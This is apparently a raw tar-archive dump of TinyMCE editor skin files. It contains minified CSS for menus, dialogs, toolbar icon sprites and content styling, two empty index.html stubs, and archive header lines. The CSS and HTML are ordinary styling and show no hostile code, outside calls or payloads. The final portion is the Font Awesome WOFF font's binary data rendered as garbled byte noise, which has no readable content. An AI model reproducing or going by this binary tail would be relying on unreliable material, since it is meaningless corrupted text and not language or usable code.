.mceMenuItemSelected a{background:url(img/menu_arrow.gif) left center no-repeat}.defaultSkin .mceMenuItemSub a{background:url(img/menu_arrow.gif) center right no-repeat}.defaultSkin .mceButtonDialog{position:absolute;left:0;top:1px;z-index:1000;border:1px solid #ddd;direction:ltr;background:#fafafa;padding:0;font:400 12px/18px "Helvetica Neue",Helvetica,Arial,sans-serif;box-shadow:0 2px 5px rgba(0,0,0,.1);box-sizing:border-box}.defaultSkin .mceButtonDialogActive .mceButtonDialog{border-color:#ccc;background-color:#f5fbfe}.defaultSkin .mceButtonDialogActive .mceButtonDialog:before{border-color:#ccc}.defaultSkin .mceButtonDialog h4{font-size:14px;color:#444;font-weight:700;margin:0 0 10px}.defaultSkin .mceButtonDialog .mceButtonDialogContent{background-color:#fff;font-size:12px;padding:5px}.defaultSkin .mceButtonDialog .mceButtonDialogContent label{display:block}.defaultSkin .mceButtonDialog input[type=text],.defaultSkin .mceListBoxMenu input[type=text]{height:20px;width:97%;width:calc(100% - 5px);padding:2px;border:1px solid #ddd;background:#fff;color:#444;border-radius:2px;box-shadow:inherit}.defaultSkin .mceMenuItem .mceMenuHtml{padding:5px 5px 5px 4px}.defaultSkin .mceButtonDialog input[type=text]:focus,.defaultSkin .mceListBoxMenu input[type=text]:focus{border-color:#66afe9;outline:0;color:#444;box-shadow:inherit}.defaultSkin .mceButtonDialog .mceButtonDialogButtons .mceDialogButton{-webkit-appearance:none;margin:0 0 0 5px;overflow:visible;color:#444;text-transform:none;display:inline-block;box-sizing:border-box;padding:0 12px;background:#fff;vertical-align:middle;line-height:26px;min-height:28px;text-decoration:none;text-align:center;border:1px solid #ddd;border-radius:2px;cursor:pointer}.defaultSkin .mceButtonDialog .mceButtonDialogButtons .mceDialogButtonPrimary{background-color:#00a8e6;color:#fff;box-shadow:inset 0 0 5px rgba(0,0,0,.05);text-shadow:0 -1px 0 rgba(0,0,0,.1)}.defaultSkin .mceButtonDialog .mceButtonDialogButtons .mceDialogButton:focus,.defaultSkin .mceButtonDialog .mceButtonDialogButtons .mceDialogButton:hover{background-color:#fafafa;color:#444;outline:0;text-decoration:none;border-color:rgba(0,0,0,.16)}.defaultSkin .mceButtonDialog .mceButtonDialogButtons .mceDialogButtonPrimary:hover{background-color:#35b3ee;color:#fff;border-color:rgba(0,0,0,.21)}.defaultSkin .mceButtonDialog .mceButtonDialogButtons{text-align:right;background-color:#fafafa;padding:10px;border-top:1px solid #ddd}.defaultSkin .mceButtonDialog:before{content:"";display:block;position:absolute;width:24px;background-color:#fafafa;height:6px;left:-1px;top:-6px;border-left:1px solid #ddd;border-right:1px solid #ddd}.mceRtl .mceListBox .mceText{text-align:right;padding:0 4px 0 0}.mceRtl .mceMenuItem .mceText{text-align:right}.defaultSkin .mceBlocker{position:absolute;left:0;top:0;z-index:1000;opacity:.5;-ms-filter:'alpha(opacity=50)';filter:alpha(opacity=50);background:#FFF}.defaultSkin .mceProgress{position:absolute;left:0;top:0;z-index:1001;background:url(img/progress.gif) no-repeat;width:32px;height:32px;margin:-16px 0 0 -16px}.defaultSkin .mcePlaceHolder{border:1px dotted gray}.defaultSkin .mce_formatPreview a{font-size:10px}.defaultSkin .mce_address span.mceText{font-style:italic}.defaultSkin .mce_pre span.mceText{font-family:monospace}.defaultSkin .mce_h1 span.mceText{font-weight:bolder;font-size:2em}.defaultSkin .mce_h2 span.mceText{font-weight:bolder;font-size:1.5em}.defaultSkin .mce_h3 span.mceText{font-weight:bolder;font-size:1.17em}.defaultSkin .mce_h4 span.mceText{font-weight:bolder;font-size:1em}.defaultSkin .mce_h5 span.mceText{font-weight:bolder;font-size:.83em}.defaultSkin .mce_h6 span.mceText{font-weight:bolder;font-size:.75em}.defaultSkin span.mce_bold{background-position:0 0}.defaultSkin span.mce_italic{background-position:-60px 0}.defaultSkin span.mce_underline{background-position:-140px 0}.defaultSkin span.mce_strikethrough{background-position:-120px 0}.defaultSkin span.mce_undo{background-position:-160px 0}.defaultSkin span.mce_redo{background-position:-100px 0}.defaultSkin span.mce_cleanup{background-position:-40px 0}.defaultSkin span.mce_bullist{background-position:-20px 0}.defaultSkin span.mce_numlist{background-position:-80px 0}.defaultSkin span.mce_justifyleft{background-position:-460px 0}.defaultSkin span.mce_justifyright{background-position:-480px 0}.defaultSkin span.mce_justifycenter{background-position:-420px 0}.defaultSkin span.mce_justifyfull{background-position:-440px 0}.defaultSkin span.mce_anchor{background-position:-200px 0}.defaultSkin span.mce_indent{background-position:-400px 0}.defaultSkin span.mce_outdent{background-position:-540px 0}.defaultSkin span.mce_link{background-position:-500px 0}.defaultSkin span.mce_unlink{background-position:-640px 0}.defaultSkin span.mce_sub{background-position:-600px 0}.defaultSkin span.mce_sup{background-position:-620px 0}.defaultSkin span.mce_removeformat{background-position:-580px 0}.defaultSkin span.mce_newdocument{background-position:-520px 0}.defaultSkin span.mce_image{background-position:-380px 0}.defaultSkin span.mce_help{background-position:-340px 0}.defaultSkin span.mce_code,.defaultSkin span.mce_source{background-position:-260px 0}.defaultSkin span.mce_hr{background-position:-360px 0}.defaultSkin span.mce_visualaid{background-position:-660px 0}.defaultSkin span.mce_charmap{background-position:-240px 0}.defaultSkin span.mce_paste{background-position:-560px 0}.defaultSkin span.mce_copy{background-position:-700px 0}.defaultSkin span.mce_cut{background-position:-680px 0}.defaultSkin span.mce_blockquote{background-position:-220px 0}.defaultSkin .mce_forecolor span.mceAction{background-position:-720px 0}.defaultSkin .mce_backcolor span.mceAction{background-position:-760px 0}.defaultSkin span.mce_forecolor{background-position:-720px 0}.defaultSkin span.mce_backcolor{background-position:-760px 0}.defaultSkin span.mce_forecolorpicker{background-position:-720px 0}.defaultSkin span.mce_backcolorpicker{background-position:-760px 0}.defaultSkin span.mce_readmore{background-position:-920px 0}.defaultSkin span.mce_pagebreak{background-position:-940px 0}.defaultSkin span.mce_advhr{background-position:0 -20px}.defaultSkin span.mce_ltr{background-position:-20px -20px}.defaultSkin span.mce_rtl{background-position:-40px -20px}.defaultSkin span.mce_emotions{background-position:-60px -20px}.defaultSkin span.mce_fullpage{background-position:-80px -20px}.defaultSkin span.mce_fullscreen{background-position:-100px -20px}.defaultSkin span.mce_iespell{background-position:-120px -20px}.defaultSkin span.mce_insertdate{background-position:-140px -20px}.defaultSkin span.mce_inserttime{background-position:-160px -20px}.defaultSkin span.mce_absolute{background-position:-180px -20px}.defaultSkin span.mce_insertlayer{background-position:-240px -20px}.defaultSkin span.mce_movebackward{background-position:-200px -20px}.defaultSkin span.mce_moveforward{background-position:-220px -20px}.defaultSkin span.mce_media{background-position:-320px -20px}.defaultSkin span.mce_nonbreaking{background-position:-340px -20px}.defaultSkin span.mce_pastetext{background-position:-360px -20px}.defaultSkin span.mce_pasteword{background-position:-380px -20px}.defaultSkin span.mce_selectall{background-position:-400px -20px}.defaultSkin span.mce_preview{background-position:-420px -20px}.defaultSkin span.mce_print{background-position:-440px -20px}.defaultSkin span.mce_cancel{background-position:-460px -20px}.defaultSkin span.mce_save{background-position:-480px -20px}.defaultSkin span.mce_replace{background-position:-500px -20px}.defaultSkin span.mce_search{background-position:-520px -20px}.defaultSkin span.mce_style,.defaultSkin span.mce_styleprops{background-position:-560px -20px}.defaultSkin span.mce_table,.defaultSkin span.mce_table_insert{background-position:-580px -20px}.defaultSkin span.mce_cell_props{background-position:-600px -20px}.defaultSkin span.mce_delete_table{background-position:-620px -20px}.defaultSkin span.mce_delete_col{background-position:-640px -20px}.defaultSkin span.mce_delete_row{background-position:-660px -20px}.defaultSkin span.mce_col_after{background-position:-680px -20px}.defaultSkin span.mce_col_before{background-position:-700px -20px}.defaultSkin span.mce_row_after{background-position:-720px -20px}.defaultSkin span.mce_row_before{background-position:-740px -20px}.defaultSkin span.mce_merge_cells{background-position:-760px -20px}.defaultSkin span.mce_table_props{background-position:-980px -20px}.defaultSkin span.mce_row_props{background-position:-780px -20px}.defaultSkin span.mce_split_cells{background-position:-800px -20px}.defaultSkin span.mce_template{background-position:-820px -20px}.defaultSkin span.mce_visualchars{background-position:-840px -20px}.defaultSkin span.mce_abbr{background-position:-860px -20px}.defaultSkin span.mce_acronym{background-position:-880px -20px}.defaultSkin span.mce_attribs{background-position:-900px -20px}.defaultSkin span.mce_cite{background-position:-920px -20px}.defaultSkin span.mce_del{background-position:-940px -20px}.defaultSkin span.mce_ins{background-position:-960px -20px}.defaultSkin span.mce_restoredraft{background-position:-20px -40px}.defaultSkin span.mce_spellchecker{background-position:-540px -20px}.defaultSkin span.mce_autosave{background-position:-20px -40px}.defaultSkin span.mce_imgmanager{background-position:-380px 0}.defaultSkin span.mce_article{background-position:-920px 0;width:40px}.defaultSkin span.mce_textcase{background-position:-40px -40px}.defaultSkin span.mce_visualblocks{background-position:-160px -40px}.defaultSkin span.mce_kitchensink{background-position:-180px -40px}div.mcePathRow{overflow:hidden}.mcePathHidden .mceText{display:none}.mcePathHidden:after,span.mcePathLabel,span.mcePathPath{display:inline-block}.mcePathPath .mceText{cursor:pointer}.mcePathHidden:after{content:"..."}span.mcePathLabel{position:relative;min-width:30px;margin:0 5px 0 0}.mceStatusbar div.mceWordCount{float:right;vertical-align:middle;line-height:18px}.defaultSkin.mce_search .mceButtonDialog .mceButtonDialogButtons a.mceDialogButton,.defaultSkin.mce_search .mceButtonDialog label{min-width:70px}.defaultSkin.mce_search .mceButtonDialog input.search_error{border-color:red}.defaultSkin.mce_emotions .mceButtonDialogContent{max-width:250px;white-space:normal;text-align:center}.defaultSkin .mce_emotions_icon{display:inline-block;font-size:14px;line-height:2em;width:auto;height:auto;min-width:2em;min-height:2em;text-align:center;cursor:pointer;user-select:none;-moz-user-select:none;-webkit-user-select:none}.defaultSkin .mce_emotions_icon img{padding:5px;cursor:pointer}.mce_emotions_icon:hover{background:#eee;border-radius:3px}.defaultSkin .mceLayout .mceBranding{width:100%;text-align:center;line-height:20px;background:#eee;padding:5px 0;display:block;box-sizing:border-box;border-bottom:1px solid #ddd;white-space:normal}.defaultSkin .mceLayout .mceBranding a{font-weight:700;cursor:pointer}.defaultSkin .mceLayout .mceBranding a:hover{text-decoration:underline}.defaultSkin .mceLayout .mceBranding span{font-size:inherit;line-height:inherit;font-family:inherit}editor/tiny_mce/themes/advanced/skins/default/index.html000060400000000054150750527150017445 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/themes/advanced/skins/default/ui.admin.css000060400000003770150750527150017676 0ustar00.defaultSkin .mceToolBar{border:0}.defaultSkin .mceLayout,.defaultSkin .mceLayout .mceToolbar{border:0!important;background:#fff}.defaultSkin .mceToolBarItem div{display:inline-block}.defaultSkin .mceToolBarItem .mceListBox,.defaultSkin .mceToolBarItem .mceSplitButton{border:1px solid #ddd;height:26px;box-sizing:border-box;border-radius:2px;position:relative;cursor:move}.defaultSkin .mceToolBarItem .mceListBox{width:94px}.defaultSkin .mceToolBarItem .mceSplitButton{width:42px;padding:2px}.defaultSkin .mceToolBarItem .mceListBox .mceIcon{width:76px;height:auto}.defaultSkin .mceToolBarItem .mceListBox .mceIcon:before{display:inline-block;background:#fff;font-size:12px;width:76px;line-height:24px;padding:0 3px;box-sizing:border-box}.defaultSkin .mceToolBarItem .mceListBox .mce_fontselect:before{content:"Font Family"}.defaultSkin .mceToolBarItem .mceListBox .mce_styleselect:before{content:"Styles"}.defaultSkin .mceToolBarItem .mceListBox .mce_fontsizeselect:before{content:"Font Size"}.defaultSkin .mceToolBarItem .mceListBox .mce_formatselect:before{content:"Format"}.defaultSkin .mceToolBarItem .mceListBox:after,.defaultSkin .mceToolBarItem .mceSplitButton:after{content:"▼";display:block;font-size:9px;line-height:24px;color:#444;width:17px;position:absolute;right:0;top:0;text-align:center;border-left:1px solid #ddd;box-sizing:border-box}.defaultSkin .mceLayout .mceStatusbar{border:1px solid #ddd;border-top-width:0}.defaultSkin .mceLayout .mceIframeContainer{background:#fff;width:100%;position:relative;padding:5px;box-sizing:border-box;white-space:pre-line;border:1px solid #ddd;margin:0}.mceToolbarRow .mceToolBarItem{font-size:0;vertical-align:top;line-height:1}.mceToolbarRow .mceToolBarItem .mceButton,.mceToolbarRow .mceToolBarItem .mceButton .mceIcon{cursor:move}.defaultSkin .mceLayout .mceToolbarRow{font-size:0;line-height:1;height:auto;min-height:28px;position:relative;background-color:#f5f5f5;border:1px solid #ddd;padding:1px;margin-bottom:2px}.defaultSkin .mceSplitButton+.mceSplitButton{margin-left:1px}editor/tiny_mce/themes/advanced/skins/default/content.css000060400000003412150750527150017635 0ustar00body,html{margin:initial;overflow:initial!important}html{height:100%;color:#444;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:13px;background:#fff}body{font-family:inherit;font-size:1rem;background:inherit;color:inherit}.mceContentBody{height:100%;height:calc(100% - 10px);min-width:90%;padding:5px}body.mceContentReset{background:#fff!important;color:#000!important}body.mceContentReset a,body.mceContentReset a:link{color:#00E}body.mceContentReset a:visited{color:#551A8B}body.mceContentReset a:active{color:#E00}body[dir=ltr].mceContentReset{text-align:left!important}h1{font-size:2em}h2{font-size:1.5em}h3{font-size:1.17em}h4{font-size:1em}h5{font-size:.83em}h6{font-size:.75em}.mce-item-table,.mce-item-table caption,.mce-item-table td,.mce-item-table th,.mce-item-visualaid{border:1px dashed #BBB;border-collapse:separate;border-spacing:1px}span.mce-item-nbsp,span.mce-item-shy{font-family:inherit;font-size:inherit;background:url(img/middot.gif) center repeat-x #ddd}td.mceSelected,th.mceSelected{background-color:#39f!important}img{border:0}.mce-item-anchor,hr,img,table{cursor:default}table td,table th{cursor:text}ins{border-bottom:1px solid green;text-decoration:none;color:green}del{color:red;text-decoration:line-through}cite{border-bottom:1px dashed #00f}acronym{border-bottom:1px dotted #CCC;cursor:help}abbr{border-bottom:1px dashed #CCC;cursor:help}img:-moz-broken{-moz-force-broken-image-icon:1;width:24px;height:24px}font[face=mceinline]{font-family:inherit!important}[contentEditable]:focus{outline:0}img::selection{background:#b4d4ff!important}span[data-mce-type=bookmark]{font-size:0}pre.mcePreformatted{margin:0;padding:0}[_moz_editor_bogus_node]{display:none}.mce-match-marker{background:#aaa;color:#fff}.mce-match-marker-selected{background:#39f;color:#fff}editor/tiny_mce/themes/advanced/skins/index.html000060400000000054150750527150016021 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/libraries/fonts/fontawesome-webfont.woff000060400000277350150750527150016034 0ustar00wOFF~�
��FFTM0k�G�GDEFL �OS/2l>`�2z@cmap�i�
�:gasp��glyf _yL����Mheadb�36��-hheab�$
�hmtxb��
�Ey�locae���\maxpl� ,namemD�㗋�posto`�u�����=���O<0�1h�x�c`d``�b	`b`d`d:$Y�<��x�c`f�d�������b��������ʢb��l��|6F�0#�F��nx�͒�J�q��gje�>�"�D���>�{�E�O >�����,"�u�^�[[[���j�os���_�M��%:0g80������B�.L�s�zðפ 1Y��lKWv�es�t��)Mk^�Zֵ֪�m���׉Θb�k̳�2����6���>'�Y�Җ����jukZۺ�g�m2� ����(�4�-iEk�Жv��}�X�B��Y`���`����c��9�Z�JV��5�e�Y߆6�G΂�`3�|6����[uI�p�n�-�����[pL��0�Lp�;��׸�%���8�o��>F8�	��G8�`�W�ί�����"�E^�_�=(K,F�K�+�y�b�����x���	�TՕ0��o�}{�uuuwUWի�n�njmz-��nv�E�EAAJ!*�(��hD�2c�%F�ʦ�Ebb6���$&�����7�߹�UUW7
��t�w���{�9���8�m�8b�I�	ڃ�����݌7�S�E�G�!�3�����j�㔐=w;�P�^I�A;RR�n��k��LS�.��)�o8G�([��)�9O,,�At�S�
��h
y�u�jZupPGx�N�o��n��{��ho2�A�D�-r��]��u��5��e��^��dM�X�8=���r5ͻ^Q\�~��2��V�0 �o�0kC� qA跍����G<�
�9���v�`�|N�X�W�I�:"�'�a��W޺O=}��k�#�"�7�e	��%Vs�~-�y$ŵ������X��w&'q��.n.�E��K�#��JD�ڝn봽7����=�|�w�L:Ӎ2vmrRv:=0P�@D�ۓ��V�Z7eO��d��7�HM�SY�|�[o��f'B��L}��Ʒҗ�V����^�+�{W�=���uҤ֦='j��,�|;�v�A���o=��0�q8"�I³��8���yZ�6Ǵo9��q<i3���k������1%�&��
���u���k�����{H}��@΁W�—^q�Է��4;gg7���N�y��/��
q���P���OЌL�4��q�,���ԇ�"�Sv�=jL�/U�jC�-w�o���ȍn���j�̮�{�j\��
��vE��k

���z�>p�n=�^=�ajID(����෠���qu��F;э�5֮�s7;QC7�U��[����׈���yZIۘ�ػ�*�!$	�dⵄ��Ŗ�-ˇ?��{��m������f6��po��~�mԽw��o���G6M��oz�a�--�m#]?]?V��k�z��ܥܵ�.�>�)�9NH%�&T/� ��_���I�Ax���O��B��]8(���.v��)�G=���H�P�S�U��P���>f�F�E�-G�G�s|���'?~z�I*���R�|��[`���-V�'ݙG�P3b�'\R��I̞#n�;W��ٟD�T��ѹb8�0�^s6,rȥ��i��������sm15kk��,}��q��Wȝ;�t�s��e�Yq�qC/���0�q��|>��
3������W�/�ը��s�F�"���s��I�oAHI� 8��C�„���w���~�@
����_�(�]h=������r�9���p!�;�H���-[If��w;%=�d��꯵���bmH)��k=o��\���h�E�i�7i:-!mn:`[�G�]���GE,�;��s�yH6�2�ƈs�՗:��I��@�^\�w���OV�õ������<�g?]�Y{?qK�g�H�[��X��&�td�n�[�,�Z�!H�6#�=nݳ����;O��W�U����G4]]�6�ٰp��7��[�aM�5P���B�]?����4�����P呂����7o\�!׺ߜ����ؤ������
��2>8�/p�2�h@�k~ھ��B~�a�[�r��=Pr8�S�e�sc�F�
ӗ�� �S�#P��|0z��'�z��S��)��8aFB�FE	��V�r�J��(E���fDp���U�\���'h4P�� 	�j��<t�$>d3}Cv�f���M�}Zlf���,.��p��j1��t�Y�j�2�lƗ,U������<:�z��t[�%�Y!1v��M�frc:_n�"��7z�w�v��m�
z�ui��dt���O��.3K��<y��d0��3l�Ll؞�Y�ĭ~�bg�#8H7��J�C*gY��_��YKi�n��0�AQ���PiMg-c�����)<�9ܹ��JH�X-��o��w��aX�;�����<z�̳�@)��*��rw��|u�`���l�c����߸m1�:���H2yΡ�ؕ�d��Yנ�E�+�G�Z��Q
k��P*��.�6�O����W�=���n���u��B��d�u��8�<�7�4~c�8�(bK]4�x�~�*x�=��¿���1T��2��Gߡ}S�}����J�X��ùP��@z${P�™��"h^���b�ؙJr����`R_3���@|8~� v:G�E8�c�i�]5&4�t��َS��צ��	#�������5���jQ ��0즰���N`��v�!
�Ry�S(v
]wB}J]�>u��=�.#Cjn(,THu��_Z���	6�q���hh�P�4#J�H�%jt�3�M�)�#��z���z���dt��1Dn~�9�/��ȋ������B��@NV?�p'r��f:�;�b�B�QHb�$h�3�CG|��#v2�y�d�m)�e��sv��w�~٬�fp�~��DG�	�r�0��^Xzˣ����Շ��c���l&
 \�`\�8HHa��IC?������6���:5�H;�l��ވ�4C����&�\�F����jԬ,�|MC�ݔ��/f8��ܮ2���	�.��ҍl
_/��A���kT�V�Νg�~T��΂<`2����Q�&;�X�A�W@��@g��j{��j,�	�s�uuE
����֟���:�A��
8,&���ռ
}|��b0��lFQ$px=��4ddm7��nru"�N:O�u^��x@񝂍��C�G����*�%F�>Tm��?��2.�o��p������ˮ�1�r�\T��١K+L�؜c���n��:8����q�y�N��\Dv�j���[��ܦDy/�*=H	�[0�l�8=���`�D��d&�<����qR�}~��|m?9[�Y
{�H�I��FP��H�p;@���Y�����[D��]j��}�*ÞhJԆ�'v^��6XD��L���V�a@XF�k�<������N����.���pV�e�u���p����+O�;����FG�\E��нb�kfy
z��s��

	X����k��M֊P����Y�_g��#�f��}{���Lh.tMV((���/���4u�X�4u�<�k%�Ņ��s=x�f�Ȍ�ݐ��P��(�.(��q\��+����i}��J�/[��O��k<Ew{W%��҂p�RJ�
˙��$["�H�6#] �F���C�֫C�_c����|=�F�2[�#�\��eyÃ�.�a��nơz�K�9řeN��Ԟe����Uտx��Uw�Ϋ�m>����76�t�O�d�٧�,崅v���2+�׷� TU[�NHN8�W|���fG{�ܘlT�_��Z1 ���8j
�`A����r��㼌��`h�*�b��
���#����ռ��B����j���0s$n�^�7��w�$�Gɡ;�N
.�A>3;M��y��?��zpͥ�Ι��4�aqp҃GF��w�|]��֯�!��ؾ�bv�q8�e�+�)��h.,U~�4]�h.�P4s��)��+k�q�D2�u����ϸu��E3V�⭯�ҟ�f�S��8��/D�]5���ޖ*xWG�j���}�l&k�lnçi��Pv'�6#�������(%��)>q��E��o6U+�6�ŋ�8ۢ��lޏ>���`����M���n'���'��zB-t�/ꬱ����3ik�3
���55��Z	1ao�|+�
őm��
��0$Yə�Oa��1ag�9��up�9Gת+����b��=H߀��Q1h�T��]�Ғ�Q���^��?������s9��ػ��� ��l��B�|4�TN���YBL�,�
g�#�5��A�㉐=!�7~=�/X]W��uw�ZW����避[��Ꞟ�W�d==B��m®�ҏ΋v�?$���
E#
�L�!7���ط��!����T��RR�I4��)���H#��l*�:#��H.���)����pӇ�
źR�M�B���=�ƅ��(ǂ�͵���˥�>A��,�_��2�%�5�p�yn�6/���Mb�t,�L֮���l+�9�Q�Gb]*�D;�
����{PZ!�*��U1���|���s��{�"�3�\�g�������Gχy��G:�-nQg7��`ԏ3�x���Ax�%ÏU���XMZ�&HX9�>o��s�Ga��
��'��!�lü��|�EW-��e�b��bxs��Y0��6E��>�)�V��H��߰}��V=��G~�Yk�h��/;��ۇ��0�{4.c��\h`�5���
F�A��5��Tg�[4��#���S�o3��yuy��=����<'j{�	h�N�k�6�	�@1c/��5-T:��`Y�X]��g~���i��l�p�!��e>�1x06�?�e�oA�s�b���̪fy�b3�@B�߂�Yq�?;�m)�h4s�k�P�����UfW��62��c�>8F�(�t*G�C	ym
s��r�p�?��I��C�Y:ϻ&͜9��9T�Y�-k���%�)�@�|FF�h�9*��(Rt���K��ǻ�T��XM-IP.%�C"���?�,+ˆ�=��	��>�t�����U�gQ���W��w#�Υ7݋���[��P�	��ޮ���'j7��7̗�9Z���I
�S����O4YkDE�͂�B~�`�Ig;�m�����u�֢z�Sg)����r��E܉�=m�K��9�ZD�]�4����~7߉R6Hۂ(��j��i!�BldpӜ^���zz拾�g�F:�qꢝk�Wl�/С��uX2�r��TsB�נ�����ͫڂ�t�}}ƶ��_5�	��k�4���	�A;oH�L�Ϲ�)�z�.�qu���A�z��yx�j�k5�F�-��@�lҙ��c�ڗ�җ\6�=�
���O]9�/�5ڔ�볝�\tO���C�T3�f(i
]�w�P��iQ���w�γ�=J�ߌv�Gޮy���[�[���,��Et&Q��o�c�Â��yb66k���MK|�֋$Y��z%���P��(���^�87D�rK��`��%�5�.�:��	�Ďx=m��n�ً���m]�Ю�&�2G�(-@�Q7xu3%@�p���~н��t���S�]���=�)AG�����A��Vg;��*=�$mz
�-|_E�Z�ˢk�<�5U5�fF�I�j����`�=H}���)0��~�F�,"���N�6�k��"��}�Ṓk���T�"$��mZPc�',�ϛ�tz���Յ��];+�j��+�NG�>K#�h-zp�6\��;y��b�~�9�.m�	�\�=�qrqü�=fS
6�u(����؍��3���#����0����
:�Nz{S�M�]"��`R������.C���r`-��U{낍�z�n�q��	t�x��
�ic+Ԛ:3Y��㳙N��*�a�V��P��
�`�1�Q�b���@fc^X�9�̼���ܶ����jtҜYӂ��hھ����3�	i�js��+\�8Tv��i|�Q<
v��߹c�8�1���-��t�������\1����6���G���I��n�J�:̇�h�X��G��r�+��<�O�|a��l�yxuco���7狿P�'�j{���G�w��s��ʥ���s�����
?��?kL5>4��Hj��v4���l���!���,��c�C�5�4{�ٱ�4d��R��~��p�*;9n����C%d��}�d�A4Q8�i��O�i	���T����gd��ul�U�S���A�q�$.j6U;�MǶ�ۏێ�ۏ���j�9J�D�vAF��b�m�LOI=`�j�f:��>Iǁ�J!�
�6T�xư�qn���̓��S9�ĀM|�!ґ8X)��h�ͅ��ͳ�(����,�ӌ���2����+l�D���3Qɕp�$`�Pt�[��� ���DV��2�op��o%x�Z)�����n�:p4�N)�F Նt�T7M�u`8��P*r
>�(��O^����tX�i(��M4!
t(�>h��cU��<�@��ܦç��$�M'���(��J�׳��Q�܃�<8�Vj��j7P�?Ͼ;�������_��!Q����.h|:B��)Ӓ��xܘs��_���d9��aN=�.WO.�\|�_O&t�k.�".D�p53�͓	6�`8���I�u�����Kj��k/�����wi�U��S��us��U�lr
̥;��ѠMe`�T���B�&��n¦\�	g2pd���[0��O�v�z����I�'m%�4���1}�@�€:įZ���/r
@1m8_.���W�R���lv(F5A�ս���~]*@Qؿ
V�����g��M܊�����:M��ʞQZ�㖵��.
H��f��J�wK�IA��\������f7�z��l��}5�V��z����G����Ɛ�
u̻vߋ�a��ɰ��Z(�S6W�z���7e��k���[j�����#6[���6i���Sڣn��@�d��`�[��}�i�]<{b�N&k��G�[�Q������`E�������k�$|'������GO���R��4:	y��X��1d��hz3T�ʷL-�3��D�G%�Z
��b锥�3�I��陌R�^cy,�3��P!�@�ieNq좀FS'}@4�шÏ~�����*�T(�P���Y+�=�!?�}>�Ю�+�����w*�3�U�����sƽ ��i[�9�a���\��u�We�Y5���	���+����,��iK�\��ʚe�<����z��K�C�&�Hd�bktݩ7<��Gh���
�f�O��fp�+d<�8�Y��X��(�ϴ�s�>!;B�TR@J	vK��U�8�bU�H^Q;O�k�b%�[Q�H���O�9谉����0r�0��}����U��>�ʔV5^����ܵ�����}ecF���mۈr���qLEl��	"�I5��ڦ�fU���2c��W+�O,
���MJ񝁧6���y�?*�0&N�ݚ�xq?�)��>�e�(�	@��qT�Vx��>sjA�i�2W@�W�<K������P
+
�i
���4�(ا����	�
����xA��̓��	1Jz'O����?�<L0,;V|'[�9;j:[��B��خRk�nC�.и�iޱ�T���ݝ&[h��5V�,�R��I��N�{oF|Tn�_|Q�W��>��U����{L�Г�K^A'�96&�E[h8�����J*�X�>�w��yW��+��V���c�*��Y���P����!���3�
��^������%�"��`�ɒ�R������cD@�2�ܵG��5g��L6}*X�l틵�\�"������*����p9������B4M�z�A����65L��.���2�k,0���^�>�G@���@H�ty����Z4iepWt��A�h,8�<{9Ƚ��ǷƶwZ��OY�E�<���Z�)��t#�/�崐�\F7ʔ�B>(���&��6�ld�i��t��/���=�n�>?&s��]@Ν�0Z.3Ĥ�9M�G�6�XI�J�H�Xa�:��C�}��3����6��~>�D��3��U�O>[vZ_�}ס�qN!ʃ�
��-�W� �������
S���Ha)Y���'l�g8=�`z��(bwv�����i:2E�!��`�;x�,����Y ������ߩ����
=��Іj^ǻ��Q�^��_�Yy`���Q����[&aY��Q
u�s0{&m胑*����j)���T�C��$YQ�>*�P����}H��������˥��_�7��!n?Vا(s����O�GRB�X���bG/*󨴉b����E��(��"�lrʔ$Ϋ����dJ�wGp6���
P�/�#j��mtC�R0�}B�j̣R��X�v��I�>(�j=���:E�C�t�V�:O[h[5�"u�E�3W�.
f�[eܫ8�P)�e
�0Rԁ��d.ُ:~}����t<)��/Q
c��O�B��GGp�<��"-G�-b΢�y3�b�#����5�RPCk{d˚� ح6�d��]������L�d�Lu鋶
��LCz�Ӯ��IYs�;�A��@*n�yڢ�����Kˏɩ���E���W���eM����â��x�[�*u����-z��җ�rizH>�������2$�����=�_�����j7�{�!�h7Ύ�|p�fs%9LA�Q,��2��WH�(EEug��&�/�
$̃cm$0^(K_�C]D����i����+�/�TR�hOJ?��N���ޛ j�;�쁳�#��ISm0Q�4W�����Տ��5_��fd���"0�ԏ� ��~D}��R'��k ��GK1(���_/�T��F�Ȥ8��>��Q8����m�.m���s��t�Á��-��`wZ�a���x��x�";ͯ��2�o2�:�h*4X���-hW�3sn���P,ɞ
��"ޗ`7�Nw8ɐ�D\���	�(,f鄝�	��I�M�|؟��ն���k��ÿl�5�n�v�xL/L��M}��ݻ/�Е�um�.�u��m�d>�Nh���&k�Ե-h���#�
+���q����s�}v.��L��8�c|�P=/2�,��T�,��\f��x���P!:*���}��uL�v�yj{C��[��	���^�܋�����lV�͛C���Z��k������9�~�_��+�2_�ʗ����7��%�\~�N�V�w�|�:$^�fH����-œl6��[D���n��i�D�>�=�}4b��=�U{��x�C��u���:����6ݨ�18�=�Z��%�ܓ��&��?i*�V�߻"��z��,K���=�,�5keb �PÒ��}aM)d��Ő".Aǝ�2�An�K%
���%7;��QΤx9:�J'���s�������9��:�(��w��̿s��lt�W�����N�~�+lA�ڏ��m[w�7���7n\����W<9��-N�߹t���i�?��"�;�i�w�[��;L�vP�2�z����r�g�k�cl;#��E�*��b��8�*�<~h!������:�Q�@�qӼek�/��#�@w��ꪫ'���	���r���*2_�2mp�pm��"Oގ�:�wFgR��ۜ����������{z�h?U_3�������m3�ؾ)��[�_�.��/��d��
j�����G�̨�.��+{����7g�|�6w6؟>d��5��;{O"�-��<���+�jaW2�2�����p�����W�a��g��y6&�Bh��I2%��1���S������*�[Ϥ��F��۷�%nwT��	Q��Ķ!=����00!�dP��$O����j!%��l�6bd������[6�,6��`^H�fɖ3V߶[��8|\��M��Q
���lƜYxj�?KO�3��ٲ�%)���)JrGƼQ��̼)���2c�"����^�–�;��@Y5��u�!���'�h��VGTi M9��#�(ן<�4�s�{��������@�e�fQ`�Gy�
�8�L��"KB3�+��fOx����_�c`=C@�d�-T�Oj�+�Jw�]��f1���򉠦J��� ��-�L��[,�Əv�u�&}��z�)Aԫyz�X߶"��M�Ww�P-蒺Mr�k����
